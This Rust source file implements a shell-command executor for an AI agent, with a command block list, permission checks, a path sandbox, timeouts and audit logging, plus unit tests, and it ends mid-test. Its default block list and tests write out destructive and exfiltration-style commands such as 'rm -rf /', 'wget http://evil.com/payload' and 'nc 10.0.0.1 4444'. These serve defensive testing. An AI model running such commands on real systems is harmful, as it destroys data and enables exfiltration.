1use std::path::PathBuf;
2use std::time::{Duration, Instant};
3
4use tokio::process::Command;
5use tokio_util::sync::CancellationToken;
6
7use schemars::JsonSchema;
8use serde::Deserialize;
9
10use crate::audit::{AuditEntry, AuditLogger, AuditResult};
11use crate::config::ShellConfig;
12use crate::executor::{
13 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
14};
15use crate::filter::{OutputFilterRegistry, sanitize_output};
16use crate::permissions::{PermissionAction, PermissionPolicy};
17
18const DEFAULT_BLOCKED: &[&str] = &[
19 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
20 "reboot", "halt",
21];
22
23const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
24
25#[derive(Deserialize, JsonSchema)]
26pub(crate) struct BashParams {
27 command: String,
29}
30
31#[derive(Debug)]
33pub struct ShellExecutor {
34 timeout: Duration,
35 blocked_commands: Vec<String>,
36 allowed_paths: Vec<PathBuf>,
37 confirm_patterns: Vec<String>,
38 audit_logger: Option<AuditLogger>,
39 tool_event_tx: Option<ToolEventTx>,
40 permission_policy: Option<PermissionPolicy>,
41 output_filter_registry: Option<OutputFilterRegistry>,
42 cancel_token: Option<CancellationToken>,
43 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
44}
45
46impl ShellExecutor {
47 #[must_use]
48 pub fn new(config: &ShellConfig) -> Self {
49 let allowed: Vec<String> = config
50 .allowed_commands
51 .iter()
52 .map(|s| s.to_lowercase())
53 .collect();
54
55 let mut blocked: Vec<String> = DEFAULT_BLOCKED
56 .iter()
57 .filter(|s| !allowed.contains(&s.to_lowercase()))
58 .map(|s| (*s).to_owned())
59 .collect();
60 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
61
62 if !config.allow_network {
63 for cmd in NETWORK_COMMANDS {
64 let lower = cmd.to_lowercase();
65 if !blocked.contains(&lower) {
66 blocked.push(lower);
67 }
68 }
69 }
70
71 blocked.sort();
72 blocked.dedup();
73
74 let allowed_paths = if config.allowed_paths.is_empty() {
75 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
76 } else {
77 config.allowed_paths.iter().map(PathBuf::from).collect()
78 };
79
80 Self {
81 timeout: Duration::from_secs(config.timeout),
82 blocked_commands: blocked,
83 allowed_paths,
84 confirm_patterns: config.confirm_patterns.clone(),
85 audit_logger: None,
86 tool_event_tx: None,
87 permission_policy: None,
88 output_filter_registry: None,
89 cancel_token: None,
90 skill_env: std::sync::RwLock::new(None),
91 }
92 }
93
94 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
96 match self.skill_env.write() {
97 Ok(mut guard) => *guard = env,
98 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
99 }
100 }
101
102 #[must_use]
103 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
104 self.audit_logger = Some(logger);
105 self
106 }
107
108 #[must_use]
109 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
110 self.tool_event_tx = Some(tx);
111 self
112 }
113
114 #[must_use]
115 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
116 self.permission_policy = Some(policy);
117 self
118 }
119
120 #[must_use]
121 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
122 self.cancel_token = Some(token);
123 self
124 }
125
126 #[must_use]
127 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
128 self.output_filter_registry = Some(registry);
129 self
130 }
131
132 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
138 self.execute_inner(response, true).await
139 }
140
141 #[allow(clippy::too_many_lines)]
142 async fn execute_inner(
143 &self,
144 response: &str,
145 skip_confirm: bool,
146 ) -> Result<Option<ToolOutput>, ToolError> {
147 let blocks = extract_bash_blocks(response);
148 if blocks.is_empty() {
149 return Ok(None);
150 }
151
152 let mut outputs = Vec::with_capacity(blocks.len());
153 let mut cumulative_filter_stats: Option<FilterStats> = None;
154 #[allow(clippy::cast_possible_truncation)]
155 let blocks_executed = blocks.len() as u32;
156
157 for block in &blocks {
158 if let Some(ref policy) = self.permission_policy {
159 match policy.check("bash", block) {
160 PermissionAction::Deny => {
161 self.log_audit(
162 block,
163 AuditResult::Blocked {
164 reason: "denied by permission policy".to_owned(),
165 },
166 0,
167 )
168 .await;
169 return Err(ToolError::Blocked {
170 command: (*block).to_owned(),
171 });
172 }
173 PermissionAction::Ask if !skip_confirm => {
174 return Err(ToolError::ConfirmationRequired {
175 command: (*block).to_owned(),
176 });
177 }
178 _ => {}
179 }
180 } else {
181 if let Some(blocked) = self.find_blocked_command(block) {
182 self.log_audit(
183 block,
184 AuditResult::Blocked {
185 reason: format!("blocked command: {blocked}"),
186 },
187 0,
188 )
189 .await;
190 return Err(ToolError::Blocked {
191 command: blocked.to_owned(),
192 });
193 }
194
195 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
196 return Err(ToolError::ConfirmationRequired {
197 command: pattern.to_owned(),
198 });
199 }
200 }
201
202 self.validate_sandbox(block)?;
203
204 if let Some(ref tx) = self.tool_event_tx {
205 let _ = tx.send(ToolEvent::Started {
206 tool_name: "bash".to_owned(),
207 command: (*block).to_owned(),
208 });
209 }
210
211 let start = Instant::now();
212 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
213 self.skill_env.read().ok().and_then(|g| g.clone());
214 let (out, exit_code) = execute_bash(
215 block,
216 self.timeout,
217 self.tool_event_tx.as_ref(),
218 self.cancel_token.as_ref(),
219 skill_env_snapshot.as_ref(),
220 )
221 .await;
222 if exit_code == 130
223 && self
224 .cancel_token
225 .as_ref()
226 .is_some_and(CancellationToken::is_cancelled)
227 {
228 return Err(ToolError::Cancelled);
229 }
230 #[allow(clippy::cast_possible_truncation)]
231 let duration_ms = start.elapsed().as_millis() as u64;
232
233 let result = if out.contains("[error]") {
234 AuditResult::Error {
235 message: out.clone(),
236 }
237 } else if out.contains("timed out") {
238 AuditResult::Timeout
239 } else {
240 AuditResult::Success
241 };
242 self.log_audit(block, result, duration_ms).await;
243
244 let sanitized = sanitize_output(&out);
245 let mut per_block_stats: Option<FilterStats> = None;
246 let filtered = if let Some(ref registry) = self.output_filter_registry {
247 match registry.apply(block, &sanitized, exit_code) {
248 Some(fr) => {
249 tracing::debug!(
250 command = block,
251 raw = fr.raw_chars,
252 filtered = fr.filtered_chars,
253 savings_pct = fr.savings_pct(),
254 "output filter applied"
255 );
256 let block_fs = FilterStats {
257 raw_chars: fr.raw_chars,
258 filtered_chars: fr.filtered_chars,
259 raw_lines: fr.raw_lines,
260 filtered_lines: fr.filtered_lines,
261 confidence: Some(fr.confidence),
262 command: Some((*block).to_owned()),
263 };
264 let stats =
265 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
266 stats.raw_chars += fr.raw_chars;
267 stats.filtered_chars += fr.filtered_chars;
268 stats.raw_lines += fr.raw_lines;
269 stats.filtered_lines += fr.filtered_lines;
270 stats.confidence = Some(match (stats.confidence, fr.confidence) {
271 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
272 (None, cur) => cur,
273 });
274 if stats.command.is_none() {
275 stats.command = Some((*block).to_owned());
276 }
277 per_block_stats = Some(block_fs);
278 fr.output
279 }
280 None => sanitized,
281 }
282 } else {
283 sanitized
284 };
285
286 if let Some(ref tx) = self.tool_event_tx {
287 let _ = tx.send(ToolEvent::Completed {
288 tool_name: "bash".to_owned(),
289 command: (*block).to_owned(),
290 output: out.clone(),
291 success: !out.contains("[error]"),
292 filter_stats: per_block_stats,
293 diff: None,
294 });
295 }
296 outputs.push(format!("$ {block}\n{filtered}"));
297 }
298
299 Ok(Some(ToolOutput {
300 tool_name: "bash".to_owned(),
301 summary: outputs.join("\n\n"),
302 blocks_executed,
303 filter_stats: cumulative_filter_stats,
304 diff: None,
305 streamed: self.tool_event_tx.is_some(),
306 }))
307 }
308
309 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
310 let cwd = std::env::current_dir().unwrap_or_default();
311
312 for token in extract_paths(code) {
313 if has_traversal(&token) {
314 return Err(ToolError::SandboxViolation { path: token });
315 }
316
317 let path = if token.starts_with('/') {
318 PathBuf::from(&token)
319 } else {
320 cwd.join(&token)
321 };
322 let canonical = path
323 .canonicalize()
324 .or_else(|_| std::path::absolute(&path))
325 .unwrap_or(path);
326 if !self
327 .allowed_paths
328 .iter()
329 .any(|allowed| canonical.starts_with(allowed))
330 {
331 return Err(ToolError::SandboxViolation {
332 path: canonical.display().to_string(),
333 });
334 }
335 }
336 Ok(())
337 }
338
339 fn find_blocked_command(&self, code: &str) -> Option<&str> {
340 let cleaned = strip_shell_escapes(&code.to_lowercase());
341 let commands = tokenize_commands(&cleaned);
342 for blocked in &self.blocked_commands {
343 for cmd_tokens in &commands {
344 if tokens_match_pattern(cmd_tokens, blocked) {
345 return Some(blocked.as_str());
346 }
347 }
348 }
349 None
350 }
351
352 fn find_confirm_command(&self, code: &str) -> Option<&str> {
353 let normalized = code.to_lowercase();
354 for pattern in &self.confirm_patterns {
355 if normalized.contains(pattern.as_str()) {
356 return Some(pattern.as_str());
357 }
358 }
359 None
360 }
361
362 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
363 if let Some(ref logger) = self.audit_logger {
364 let entry = AuditEntry {
365 timestamp: chrono_now(),
366 tool: "shell".into(),
367 command: command.into(),
368 result,
369 duration_ms,
370 };
371 logger.log(&entry).await;
372 }
373 }
374}
375
376impl ToolExecutor for ShellExecutor {
377 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
378 self.execute_inner(response, false).await
379 }
380
381 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
382 use crate::registry::{InvocationHint, ToolDef};
383 vec![ToolDef {
384 id: "bash",
385 description: "Execute a shell command",
386 schema: schemars::schema_for!(BashParams),
387 invocation: InvocationHint::FencedBlock("bash"),
388 }]
389 }
390
391 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
392 if call.tool_id != "bash" {
393 return Ok(None);
394 }
395 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
396 if params.command.is_empty() {
397 return Ok(None);
398 }
399 let command = ¶ms.command;
400 let synthetic = format!("```bash\n{command}\n```");
402 self.execute_inner(&synthetic, false).await
403 }
404
405 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
406 ShellExecutor::set_skill_env(self, env);
407 }
408}
409
410fn strip_shell_escapes(input: &str) -> String {
414 let mut out = String::with_capacity(input.len());
415 let bytes = input.as_bytes();
416 let mut i = 0;
417 while i < bytes.len() {
418 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
420 let mut j = i + 2; let mut decoded = String::new();
422 let mut valid = false;
423 while j < bytes.len() && bytes[j] != b'\'' {
424 if bytes[j] == b'\\' && j + 1 < bytes.len() {
425 let next = bytes[j + 1];
426 if next == b'x' && j + 3 < bytes.len() {
427 let hi = (bytes[j + 2] as char).to_digit(16);
429 let lo = (bytes[j + 3] as char).to_digit(16);
430 if let (Some(h), Some(l)) = (hi, lo) {
431 #[allow(clippy::cast_possible_truncation)]
432 let byte = ((h << 4) | l) as u8;
433 decoded.push(byte as char);
434 j += 4;
435 valid = true;
436 continue;
437 }
438 } else if next.is_ascii_digit() {
439 let mut val = u32::from(next - b'0');
441 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
443 val = val * 8 + u32::from(bytes[j + 2] - b'0');
444 len = 3;
445 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
446 val = val * 8 + u32::from(bytes[j + 3] - b'0');
447 len = 4;
448 }
449 }
450 #[allow(clippy::cast_possible_truncation)]
451 decoded.push((val & 0xFF) as u8 as char);
452 j += len;
453 valid = true;
454 continue;
455 }
456 decoded.push(next as char);
458 j += 2;
459 } else {
460 decoded.push(bytes[j] as char);
461 j += 1;
462 }
463 }
464 if j < bytes.len() && bytes[j] == b'\'' && valid {
465 out.push_str(&decoded);
466 i = j + 1;
467 continue;
468 }
469 }
471 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
473 i += 2;
474 continue;
475 }
476 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
478 i += 1;
479 out.push(bytes[i] as char);
480 i += 1;
481 continue;
482 }
483 if bytes[i] == b'"' || bytes[i] == b'\'' {
485 let quote = bytes[i];
486 i += 1;
487 while i < bytes.len() && bytes[i] != quote {
488 out.push(bytes[i] as char);
489 i += 1;
490 }
491 if i < bytes.len() {
492 i += 1; }
494 continue;
495 }
496 out.push(bytes[i] as char);
497 i += 1;
498 }
499 out
500}
501
502fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
505 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
507 replaced
508 .split([';', '|', '\n'])
509 .map(|seg| {
510 seg.split_whitespace()
511 .map(str::to_owned)
512 .collect::<Vec<String>>()
513 })
514 .filter(|tokens| !tokens.is_empty())
515 .collect()
516}
517
518const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
521
522fn cmd_basename(tok: &str) -> &str {
524 tok.rsplit('/').next().unwrap_or(tok)
525}
526
527fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
534 if tokens.is_empty() || pattern.is_empty() {
535 return false;
536 }
537 let pattern = pattern.trim();
538 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
539 if pattern_tokens.is_empty() {
540 return false;
541 }
542
543 let start = tokens
545 .iter()
546 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
547 .unwrap_or(0);
548 let effective = &tokens[start..];
549 if effective.is_empty() {
550 return false;
551 }
552
553 if pattern_tokens.len() == 1 {
554 let pat = pattern_tokens[0];
555 let base = cmd_basename(&effective[0]);
556 base == pat || base.starts_with(&format!("{pat}."))
558 } else {
559 let n = pattern_tokens.len().min(effective.len());
561 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
562 parts.extend(effective[1..n].iter().map(String::as_str));
563 let joined = parts.join(" ");
564 if joined.starts_with(pattern) {
565 return true;
566 }
567 if effective.len() > n {
568 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
569 parts2.extend(effective[1..=n].iter().map(String::as_str));
570 parts2.join(" ").starts_with(pattern)
571 } else {
572 false
573 }
574 }
575}
576
577fn extract_paths(code: &str) -> Vec<String> {
578 let mut result = Vec::new();
579
580 let mut tokens: Vec<String> = Vec::new();
582 let mut current = String::new();
583 let mut chars = code.chars().peekable();
584 while let Some(c) = chars.next() {
585 match c {
586 '"' | '\'' => {
587 let quote = c;
588 while let Some(&nc) = chars.peek() {
589 if nc == quote {
590 chars.next();
591 break;
592 }
593 current.push(chars.next().unwrap());
594 }
595 }
596 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
597 if !current.is_empty() {
598 tokens.push(std::mem::take(&mut current));
599 }
600 }
601 _ => current.push(c),
602 }
603 }
604 if !current.is_empty() {
605 tokens.push(current);
606 }
607
608 for token in tokens {
609 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
610 if trimmed.is_empty() {
611 continue;
612 }
613 if trimmed.starts_with('/')
614 || trimmed.starts_with("./")
615 || trimmed.starts_with("../")
616 || trimmed == ".."
617 {
618 result.push(trimmed);
619 }
620 }
621 result
622}
623
624fn has_traversal(path: &str) -> bool {
625 path.split('/').any(|seg| seg == "..")
626}
627
628fn extract_bash_blocks(text: &str) -> Vec<&str> {
629 crate::executor::extract_fenced_blocks(text, "bash")
630}
631
632fn chrono_now() -> String {
633 use std::time::{SystemTime, UNIX_EPOCH};
634 let secs = SystemTime::now()
635 .duration_since(UNIX_EPOCH)
636 .unwrap_or_default()
637 .as_secs();
638 format!("{secs}")
639}
640
641async fn kill_process_tree(child: &mut tokio::process::Child) {
645 #[cfg(unix)]
646 if let Some(pid) = child.id() {
647 let _ = Command::new("pkill")
648 .args(["-KILL", "-P", &pid.to_string()])
649 .status()
650 .await;
651 }
652 let _ = child.kill().await;
653}
654
655async fn execute_bash(
656 code: &str,
657 timeout: Duration,
658 event_tx: Option<&ToolEventTx>,
659 cancel_token: Option<&CancellationToken>,
660 extra_env: Option<&std::collections::HashMap<String, String>>,
661) -> (String, i32) {
662 use std::process::Stdio;
663 use tokio::io::{AsyncBufReadExt, BufReader};
664
665 let timeout_secs = timeout.as_secs();
666
667 let mut cmd = Command::new("bash");
668 cmd.arg("-c")
669 .arg(code)
670 .stdout(Stdio::piped())
671 .stderr(Stdio::piped());
672 if let Some(env) = extra_env {
673 cmd.envs(env);
674 }
675 let child_result = cmd.spawn();
676
677 let mut child = match child_result {
678 Ok(c) => c,
679 Err(e) => return (format!("[error] {e}"), 1),
680 };
681
682 let stdout = child.stdout.take().expect("stdout piped");
683 let stderr = child.stderr.take().expect("stderr piped");
684
685 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
686
687 let stdout_tx = line_tx.clone();
688 tokio::spawn(async move {
689 let mut reader = BufReader::new(stdout);
690 let mut buf = String::new();
691 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
692 let _ = stdout_tx.send(buf.clone()).await;
693 buf.clear();
694 }
695 });
696
697 tokio::spawn(async move {
698 let mut reader = BufReader::new(stderr);
699 let mut buf = String::new();
700 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
701 let _ = line_tx.send(format!("[stderr] {buf}")).await;
702 buf.clear();
703 }
704 });
705
706 let mut combined = String::new();
707 let deadline = tokio::time::Instant::now() + timeout;
708
709 loop {
710 tokio::select! {
711 line = line_rx.recv() => {
712 match line {
713 Some(chunk) => {
714 if let Some(tx) = event_tx {
715 let _ = tx.send(ToolEvent::OutputChunk {
716 tool_name: "bash".to_owned(),
717 command: code.to_owned(),
718 chunk: chunk.clone(),
719 });
720 }
721 combined.push_str(&chunk);
722 }
723 None => break,
724 }
725 }
726 () = tokio::time::sleep_until(deadline) => {
727 kill_process_tree(&mut child).await;
728 return (format!("[error] command timed out after {timeout_secs}s"), 1);
729 }
730 () = async {
731 match cancel_token {
732 Some(t) => t.cancelled().await,
733 None => std::future::pending().await,
734 }
735 } => {
736 kill_process_tree(&mut child).await;
737 return ("[cancelled] operation aborted".to_string(), 130);
738 }
739 }
740 }
741
742 let status = child.wait().await;
743 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
744
745 if combined.is_empty() {
746 ("(no output)".to_string(), exit_code)
747 } else {
748 (combined, exit_code)
749 }
750}
751
752#[cfg(test)]
753mod tests {
754 use super::*;
755
756 fn default_config() -> ShellConfig {
757 ShellConfig {
758 timeout: 30,
759 blocked_commands: Vec::new(),
760 allowed_commands: Vec::new(),
761 allowed_paths: Vec::new(),
762 allow_network: true,
763 confirm_patterns: Vec::new(),
764 }
765 }
766
767 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
768 ShellConfig {
769 allowed_paths,
770 ..default_config()
771 }
772 }
773
774 #[test]
775 fn extract_single_bash_block() {
776 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
777 let blocks = extract_bash_blocks(text);
778 assert_eq!(blocks, vec!["echo hello"]);
779 }
780
781 #[test]
782 fn extract_multiple_bash_blocks() {
783 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
784 let blocks = extract_bash_blocks(text);
785 assert_eq!(blocks, vec!["ls", "pwd"]);
786 }
787
788 #[test]
789 fn ignore_non_bash_blocks() {
790 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
791 let blocks = extract_bash_blocks(text);
792 assert_eq!(blocks, vec!["echo hi"]);
793 }
794
795 #[test]
796 fn no_blocks_returns_none() {
797 let text = "Just plain text, no code blocks.";
798 let blocks = extract_bash_blocks(text);
799 assert!(blocks.is_empty());
800 }
801
802 #[test]
803 fn unclosed_block_ignored() {
804 let text = "```bash\necho hello";
805 let blocks = extract_bash_blocks(text);
806 assert!(blocks.is_empty());
807 }
808
809 #[tokio::test]
810 #[cfg(not(target_os = "windows"))]
811 async fn execute_simple_command() {
812 let (result, code) =
813 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
814 assert!(result.contains("hello"));
815 assert_eq!(code, 0);
816 }
817
818 #[tokio::test]
819 #[cfg(not(target_os = "windows"))]
820 async fn execute_stderr_output() {
821 let (result, _) =
822 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
823 assert!(result.contains("[stderr]"));
824 assert!(result.contains("err"));
825 }
826
827 #[tokio::test]
828 #[cfg(not(target_os = "windows"))]
829 async fn execute_stdout_and_stderr_combined() {
830 let (result, _) = execute_bash(
831 "echo out && echo err >&2",
832 Duration::from_secs(30),
833 None,
834 None,
835 None,
836 )
837 .await;
838 assert!(result.contains("out"));
839 assert!(result.contains("[stderr]"));
840 assert!(result.contains("err"));
841 assert!(result.contains('\n'));
842 }
843
844 #[tokio::test]
845 #[cfg(not(target_os = "windows"))]
846 async fn execute_empty_output() {
847 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
848 assert_eq!(result, "(no output)");
849 assert_eq!(code, 0);
850 }
851
852 #[tokio::test]
853 async fn blocked_command_rejected() {
854 let config = ShellConfig {
855 blocked_commands: vec!["rm -rf /".to_owned()],
856 ..default_config()
857 };
858 let executor = ShellExecutor::new(&config);
859 let response = "Run:\n```bash\nrm -rf /\n```";
860 let result = executor.execute(response).await;
861 assert!(matches!(result, Err(ToolError::Blocked { .. })));
862 }
863
864 #[tokio::test]
865 #[cfg(not(target_os = "windows"))]
866 async fn timeout_enforced() {
867 let config = ShellConfig {
868 timeout: 1,
869 ..default_config()
870 };
871 let executor = ShellExecutor::new(&config);
872 let response = "Run:\n```bash\nsleep 60\n```";
873 let result = executor.execute(response).await;
874 assert!(result.is_ok());
875 let output = result.unwrap().unwrap();
876 assert!(output.summary.contains("timed out"));
877 }
878
879 #[tokio::test]
880 async fn execute_no_blocks_returns_none() {
881 let executor = ShellExecutor::new(&default_config());
882 let result = executor.execute("plain text, no blocks").await;
883 assert!(result.is_ok());
884 assert!(result.unwrap().is_none());
885 }
886
887 #[tokio::test]
888 async fn execute_multiple_blocks_counted() {
889 let executor = ShellExecutor::new(&default_config());
890 let response = "```bash\necho one\n```\n```bash\necho two\n```";
891 let result = executor.execute(response).await;
892 let output = result.unwrap().unwrap();
893 assert_eq!(output.blocks_executed, 2);
894 assert!(output.summary.contains("one"));
895 assert!(output.summary.contains("two"));
896 }
897
898 #[test]
901 fn default_blocked_always_active() {
902 let executor = ShellExecutor::new(&default_config());
903 assert!(executor.find_blocked_command("rm -rf /").is_some());
904 assert!(executor.find_blocked_command("sudo apt install").is_some());
905 assert!(
906 executor
907 .find_blocked_command("mkfs.ext4 /dev/sda")
908 .is_some()
909 );
910 assert!(
911 executor
912 .find_blocked_command("dd if=/dev/zero of=disk")
913 .is_some()
914 );
915 }
916
917 #[test]
918 fn user_blocked_additive() {
919 let config = ShellConfig {
920 blocked_commands: vec!["custom-danger".to_owned()],
921 ..default_config()
922 };
923 let executor = ShellExecutor::new(&config);
924 assert!(executor.find_blocked_command("sudo rm").is_some());
925 assert!(
926 executor
927 .find_blocked_command("custom-danger script")
928 .is_some()
929 );
930 }
931
932 #[test]
933 fn blocked_prefix_match() {
934 let executor = ShellExecutor::new(&default_config());
935 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
936 }
937
938 #[test]
939 fn blocked_infix_match() {
940 let executor = ShellExecutor::new(&default_config());
941 assert!(
942 executor
943 .find_blocked_command("echo hello && sudo rm")
944 .is_some()
945 );
946 }
947
948 #[test]
949 fn blocked_case_insensitive() {
950 let executor = ShellExecutor::new(&default_config());
951 assert!(executor.find_blocked_command("SUDO apt install").is_some());
952 assert!(executor.find_blocked_command("Sudo apt install").is_some());
953 assert!(executor.find_blocked_command("SuDo apt install").is_some());
954 assert!(
955 executor
956 .find_blocked_command("MKFS.ext4 /dev/sda")
957 .is_some()
958 );
959 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
960 assert!(executor.find_blocked_command("RM -RF /").is_some());
961 }
962
963 #[test]
964 fn safe_command_passes() {
965 let executor = ShellExecutor::new(&default_config());
966 assert!(executor.find_blocked_command("echo hello").is_none());
967 assert!(executor.find_blocked_command("ls -la").is_none());
968 assert!(executor.find_blocked_command("cat file.txt").is_none());
969 assert!(executor.find_blocked_command("cargo build").is_none());
970 }
971
972 #[test]
973 fn partial_match_accepted_tradeoff() {
974 let executor = ShellExecutor::new(&default_config());
975 assert!(executor.find_blocked_command("sudoku").is_none());
977 }
978
979 #[test]
980 fn multiline_command_blocked() {
981 let executor = ShellExecutor::new(&default_config());
982 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
983 }
984
985 #[test]
986 fn dd_pattern_blocks_dd_if() {
987 let executor = ShellExecutor::new(&default_config());
988 assert!(
989 executor
990 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
991 .is_some()
992 );
993 }
994
995 #[test]
996 fn mkfs_pattern_blocks_variants() {
997 let executor = ShellExecutor::new(&default_config());
998 assert!(
999 executor
1000 .find_blocked_command("mkfs.ext4 /dev/sda")
1001 .is_some()
1002 );
1003 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1004 }
1005
1006 #[test]
1007 fn empty_command_not_blocked() {
1008 let executor = ShellExecutor::new(&default_config());
1009 assert!(executor.find_blocked_command("").is_none());
1010 }
1011
1012 #[test]
1013 fn duplicate_patterns_deduped() {
1014 let config = ShellConfig {
1015 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1016 ..default_config()
1017 };
1018 let executor = ShellExecutor::new(&config);
1019 let count = executor
1020 .blocked_commands
1021 .iter()
1022 .filter(|c| c.as_str() == "sudo")
1023 .count();
1024 assert_eq!(count, 1);
1025 }
1026
1027 #[tokio::test]
1028 async fn execute_default_blocked_returns_error() {
1029 let executor = ShellExecutor::new(&default_config());
1030 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1031 let result = executor.execute(response).await;
1032 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1033 }
1034
1035 #[tokio::test]
1036 async fn execute_case_insensitive_blocked() {
1037 let executor = ShellExecutor::new(&default_config());
1038 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1039 let result = executor.execute(response).await;
1040 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1041 }
1042
1043 #[test]
1046 fn network_exfiltration_blocked() {
1047 let executor = ShellExecutor::new(&default_config());
1048 assert!(
1049 executor
1050 .find_blocked_command("curl https://evil.com")
1051 .is_some()
1052 );
1053 assert!(
1054 executor
1055 .find_blocked_command("wget http://evil.com/payload")
1056 .is_some()
1057 );
1058 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1059 assert!(
1060 executor
1061 .find_blocked_command("ncat --listen 8080")
1062 .is_some()
1063 );
1064 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1065 }
1066
1067 #[test]
1068 fn system_control_blocked() {
1069 let executor = ShellExecutor::new(&default_config());
1070 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1071 assert!(executor.find_blocked_command("reboot").is_some());
1072 assert!(executor.find_blocked_command("halt").is_some());
1073 }
1074
1075 #[test]
1076 fn nc_trailing_space_avoids_ncp() {
1077 let executor = ShellExecutor::new(&default_config());
1078 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1079 }
1080
1081 #[test]
1084 fn mixed_case_user_patterns_deduped() {
1085 let config = ShellConfig {
1086 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1087 ..default_config()
1088 };
1089 let executor = ShellExecutor::new(&config);
1090 let count = executor
1091 .blocked_commands
1092 .iter()
1093 .filter(|c| c.as_str() == "sudo")
1094 .count();
1095 assert_eq!(count, 1);
1096 }
1097
1098 #[test]
1099 fn user_pattern_stored_lowercase() {
1100 let config = ShellConfig {
1101 blocked_commands: vec!["MyCustom".to_owned()],
1102 ..default_config()
1103 };
1104 let executor = ShellExecutor::new(&config);
1105 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1106 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1107 }
1108
1109 #[test]
1112 fn allowed_commands_removes_from_default() {
1113 let config = ShellConfig {
1114 allowed_commands: vec!["curl".to_owned()],
1115 ..default_config()
1116 };
1117 let executor = ShellExecutor::new(&config);
1118 assert!(
1119 executor
1120 .find_blocked_command("curl https://example.com")
1121 .is_none()
1122 );
1123 assert!(executor.find_blocked_command("sudo rm").is_some());
1124 }
1125
1126 #[test]
1127 fn allowed_commands_case_insensitive() {
1128 let config = ShellConfig {
1129 allowed_commands: vec!["CURL".to_owned()],
1130 ..default_config()
1131 };
1132 let executor = ShellExecutor::new(&config);
1133 assert!(
1134 executor
1135 .find_blocked_command("curl https://example.com")
1136 .is_none()
1137 );
1138 }
1139
1140 #[test]
1141 fn allowed_does_not_override_explicit_block() {
1142 let config = ShellConfig {
1143 blocked_commands: vec!["curl".to_owned()],
1144 allowed_commands: vec!["curl".to_owned()],
1145 ..default_config()
1146 };
1147 let executor = ShellExecutor::new(&config);
1148 assert!(
1149 executor
1150 .find_blocked_command("curl https://example.com")
1151 .is_some()
1152 );
1153 }
1154
1155 #[test]
1156 fn allowed_unknown_command_ignored() {
1157 let config = ShellConfig {
1158 allowed_commands: vec!["nonexistent-cmd".to_owned()],
1159 ..default_config()
1160 };
1161 let executor = ShellExecutor::new(&config);
1162 assert!(executor.find_blocked_command("sudo rm").is_some());
1163 assert!(
